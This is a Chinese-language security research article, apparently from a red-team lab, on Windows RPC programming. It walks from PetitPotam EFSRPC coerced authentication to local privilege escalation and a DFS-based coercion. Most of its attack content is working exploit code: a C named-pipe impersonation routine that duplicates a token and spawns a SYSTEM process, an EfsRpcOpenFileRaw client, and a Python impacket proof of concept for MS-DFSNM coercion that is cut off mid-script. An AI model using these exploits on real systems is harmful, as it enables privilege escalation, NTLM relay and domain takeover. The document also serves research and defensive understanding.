[email protected]深蓝攻防实验室
本篇文章旨在由浅入深的对Windows RPC协议编程进行研究,从公开的PetitPotam的EFS协议导致的强制认证漏洞入手,过渡到使用EFS协议进行本地提权,再自行挖掘一个强制认证和提权的未公开协议。
其中包括了使用MSVC、Python对RPC协议编程的流程和坑点。以及在面对未知RPC时,如何对RPCView进行编译,并如何使用RPCView对未知RPC服务进行逆向并完成协议的编程和利用。
根据文档描述EFSRPC协议必须通过\pipe\lsarpc
或者\pipe\efsrpc
管道通信,且两个管道对应的UUID必须为c681d488-d850-11d0-8c52-00c04fd90f7e
或者df1941c5-fe89-4e79-bf10-463657acf44d
。
PS: 虽然文档写的仅仅只能使用lsarpc
和efsrpc
管道,但是实际上只要是lsass.exe创建的管道都可以使用,唯一需要注意的是efsrpc
管道的UUID一定要是df1941c5-fe89-4e79-bf10-463657acf44d
。其余管道例如samr、lsass
皆可使用c681d488-d850-11d0-8c52-00c04fd90f7e
。
PetitPotam是一个默认匿名强制服务器到指定IP进行身份认证的一个漏洞。该漏洞常见用法为强制DC到中继服务器进行认证,由中继服务器转发到ADCS申请证书,通过证书获得DC$的权限。从而得到域控权限。
实际上PetitPotam利用的是一个叫MS-EFSRPC
协议,该协议是对远程存储和通过网络访问的加密数据进行维护和管理的。该协议中的EfsRpcOpenFileRaw
API 是通常用于备份软件,功能是打开一个文件。
通过测试,可以看出通过\pipe\lsass
管道发送EFSRPC
协议后,目标的lsass.exe进程会对发送的IP进行认证请求,请求管道为\\IP\PIPE\srvsvc
。请求成功后,再去访问我们要求操作的\\IP\c$\workspace\foo123.txt
。
从而造成了强制认证的漏洞,要利用此漏洞可以使用Responder获取目标机器的NTLM-NET-V2的hash进行本地暴力破解,或者利用ntlmrelayx.py进行中继利用。
PetitPotam思维导图
PS:除了最初的EfsRpcOpenFileRaw
之外,EFS协议还有多种API可以调用,同样可以造成强制认证。且EfsRpcOpenFileRaw
已在CVE-2021-36942中得到修复。
除此之外,该协议实际上还可以造成其他的漏洞,例如结合各类土豆的原理进行本地提权。
例如下图,我们可以看到,当我们要求目标服务器请求的地址为\\IP/pipe/sss\filename
的时候,lsass.exe请求的管道变成了\\IP\pipe\sss\PIPE\srvsvc
。而此时\\IP\pipe\sss\PIPE\srvsvc
是一个不存在的管道,如果我们手动创建该管道,并在该管道中设置特殊的服务操作。例如将模拟连接的用户权限,创建指定的任意进程。我们即完成了提权。
EFSRPC 协议本地提权思维导图
监听管道\\\\.\\pipe\\lsarpc\\pipe\\srvsvc
,等待回连
DWORD WINAPI LaunchPetitNamedPipeServer(LPVOID lpParam) { HANDLE hNamedPipe = NULL; LPWSTR lpName; LPWSTR lpCommandLine = (LPWSTR)lpParam; SECURITY_DESCRIPTOR sd = { 0 }; SECURITY_ATTRIBUTES sa = { 0 }; lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); StringCchPrintf(lpName, MAX_PATH, L"\\\\.\\pipe\\lsarpc\\pipe\\srvsvc"); if ((hNamedPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa))) { printf("\n[+] Malicious named pipe running on %S.\n", lpName); } else { printf("[-] ImpersonateNamedPipeClient() Error: %i.\n", GetLastError()); return 0; } if (ConnectNamedPipe(hNamedPipe, NULL) != NULL) { printf("[+] The connection is successful.\n"); } else { printf("[-] ConnectNamedPipe() Error: %i.\n", GetLastError()); return 0; } GetSystem(hNamedPipe, lpCommandLine); CloseHandle(hNamedPipe); return 0; }
设置回连后的恶意操作GetSystem
STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hProcess; HANDLE hToken = NULL; HANDLE phNewToken = NULL; LPWSTR lpCurrentDirectory = NULL; LPVOID lpEnvironment = NULL; // clear a block of memory ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (ImpersonateNamedPipeClient(hNamedPipe)) { printf("[+] ImpersonateNamedPipeClient success.\n"); } else { printf("[-] ImpersonateNamedPipeClient() Error: %i.\n", GetLastError()); return; } if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { printf("[+] OpenThreadToken success.\n"); } else { printf("[-] OpenThreadToken() Error: %i.\n", GetLastError()); return; } if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &phNewToken)) { printf("[+] DuplicateTokenEx success.\n"); } else { printf("[-] DupicateTokenEx() Error: %i.\n", GetLastError()); return; } if (!(lpCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR)))) { return; } if (!GetSystemDirectory(lpCurrentDirectory, MAX_PATH)) { printf("[-] GetSystemDirectory() Error: %i.\n", GetLastError()); return; } if (!CreateEnvironmentBlock(&lpEnvironment, phNewToken, FALSE)) { printf("[-] CreateEnvironmentBlock() Error: %i.\n", GetLastError()); return; } if (CreateProcessAsUser(phNewToken, NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_UNICODE_ENVIRONMENT, lpEnvironment, lpCurrentDirectory, &si, &pi)) { printf("[+] CreateProcessAsUser success.\n"); CloseHandle(hToken); CloseHandle(phNewToken); return; } else if (GetLastError() != NULL) { RevertToSelf(); printf("[!] CreateProcessAsUser() failed, possibly due to missing privileges, retrying with CreateProcessWithTokenW().\n"); if (CreateProcessWithTokenW(phNewToken, LOGON_WITH_PROFILE, NULL, lpCommandLine, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE, lpEnvironment, lpCurrentDirectory, &si, &pi)) { printf("[+] CreateProcessWithTokenW success.\n"); CloseHandle(hToken); CloseHandle(phNewToken); return; } else { printf("[-] CreateProcessWithTokenW failed (%d).\n", GetLastError()); CloseHandle(hToken); CloseHandle(phNewToken); return; } }
尝试连接到目标开放的管道准备发送EFS协议
的数据包
RPC_WSTR ObjUuid = (RPC_WSTR)L"c681d488-d850-11d0-8c52-00c04fd90f7e"; RPC_WSTR ProtSeq = (RPC_WSTR)L"ncacn_np"; RPC_WSTR NetworkAddr = (RPC_WSTR)L"\\\\127.0.0.1"; RPC_WSTR Endpoint = (RPC_WSTR)L"\\pipe\\lsarpc"; RPC_WSTR Options = NULL; RPC_WSTR StringBinding; RPC_STATUS RpcStatus; RPC_BINDING_HANDLE binding_h; RpcStatus = RpcStringBindingComposeW(ObjUuid, ProtSeq, NetworkAddr, Endpoint, Options, &StringBinding); if (RpcStatus != RPC_S_OK) { printf("[-] RpcStringBindingComposeW() Error: %i\n", GetLastError()); return; } RpcStatus = RpcBindingFromStringBindingW( StringBinding, // Previously created string binding &binding_h // Output binding handle );
发送EFS协议
的数据包,通过EFS协议
的EfsRpcOpenFileRaw
函数打开\\\\localhost/pipe/lsarpc\\C$\\wh0nqs.txt
文件
LPWSTR PipeFileName; long result; PipeFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); StringCchPrintf(PipeFileName, MAX_PATH, L"\\\\localhost/pipe/lsarpc\\C$\\wh0nqs.txt"); wprintf(L"[+] Invoking EfsRpcOpenFileRaw with target path: %ws.\r\n", PipeFileName); PVOID hContext; result = Proc0_EfsRpcOpenFileRaw_Downlevel(binding_h, &hContext, PipeFileName, 0);
PetitPotato.exe 0 whoami lsarpc
根据文档描述,DFS协议必须要通过\PIPE\NETDFS
管道通信,UUID必须为4FC742E0-4A10-11CF-8273-00AA004AE673
。 ^5d40c7
PS: DFS协议的进程为dfssvc.exe,该进程只有一个管道,所以DFS协议必须通过\PIPE\NETDFS
进行通信。 ^b775ae
DFS协议第一次启用时,在Win2012上会访问一个默认不存在的\PIPE\winreg
管道,该管道会在DFS协议使用过后才进行监听,进程为svchost.exe
。或使用/
的性质换成其他管道利用。
DFS协议在Win2016上会访问\PIPE\wkssvc
管道,同样可以使用/
的性质换成其他管道进行利用。经过测试,Win2016上的wkssvc
管道无法利用,token
权限太低,为SecurityIdentification
。
和Petitpotam一样的用法,没有特殊的。
管道模拟提权流程
使用POC进行强制认证
进行管道监听接收强制认证的token。
强制认证的python POC。
如何修改该POC在RPC编程流程-Python(MS-DFSNM)章节中进行介绍。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : coerce_poc.py # Author : Podalirius (@podalirius_) # Date created : 01 July 2022 import sys import argparse import random from impacket import system_errors from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.uuid import uuidtup_to_bin class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'SessionError: unknown error code: 0x%x' % self.error_code def gen_random_name(length=8): alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" name = "" for k in range(length): name += random.choice(alphabet) return name class NetrDfsAddStdRoot(NDRCALL): opnum = 12 structure = ( ('ServerName', WSTR), # Type: WCHAR * ('RootShare', WSTR), # Type: WCHAR * ('Comment', WSTR), # Type: WCHAR * ('ApiFlags', DWORD), # Type: DWORD ) class NetrDfsAddStdRootResponse(NDRCALL): structure = () class RPCProtocol(object): """ Documentation for class RPCProtocol """ uuid = None version = None pipe = None ncan_target = None __rpctransport = None dce = None def __init__(self): super(RPCProtocol, self).__init__() def connect(self, username, password, domain, lmhash, nthash, target, dcHost, doKerberos=False, targetIp=None): self.ncan_target = r'ncacn_np:%s[%s]' % (target, self.pipe) self.__rpctransport = transport.DCERPCTransportFactory(self.ncan_target) if hasattr(self.__rpctransport, 'set_credentials'): self.__rpctransport.set_credentials( username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash ) if doKerberos == True: self.__rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) if targetIp is not None: self.__rpctransport.setRemoteHost(targetIp) self.dce = self.__rpctransport.get_dce_rpc() print("[>] Connecting to %s ... " % self.ncan_target, end="") sys.stdout.flush() try: self.dce.connect() except Exception as e: print("\x1b[1;91mfail\x1b[0m") print("[!] Something went wrong, check error status => %s" % str(e)) return False else: print("\x1b[1;92msuccess\x1b[0m") print("[>] Binding to <uuid='%s', version='%s'> ... " % (self.uuid, self.version), end="") sys.stdout.flush() try: self.dce.bind(uuidtup_to_bin((self.uuid, self.version))) except Exception as e: print("\x1b[1;91mfail\x1b[0m") print("[!] Something went wrong, check error status => %s" % str(e)) return False else: print("\x1b[1;92msuccess\x1b[0m") return True class MS_DFSNM(RPCProtocol): uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673" version = "3.0" pipe = r"\PIPE\netdfs" def NetrDfsAddStdRoot(self, listener): if self.dce is not None: print("[>] Calling NetrDfsAddStdRoot() ...") try: request = NetrDfsAddStdRoot() request['ServerName'] = '%s\x00' % listener request['RootShare'] = gen_random_name() + '\x00' request['Comment'] = gen_random_name() + '\x00' request['ApiFlags'] = 0 # request.dump() resp = self.dce.request(request) except Exception as e: print(e) else: print("[!] Error: dce is None, you must call connect() first.") if __name__ == '__main__': print("Windows auth coerce using MS-DFSNM::NetrDfsAddStdRoot()\n") parser = argparse.ArgumentParser(add_help=True, description="Proof of concept for coercing authentication with MS-DFSNM::NetrDfsAddStdRoot()") parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.") parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)") parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.") parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH"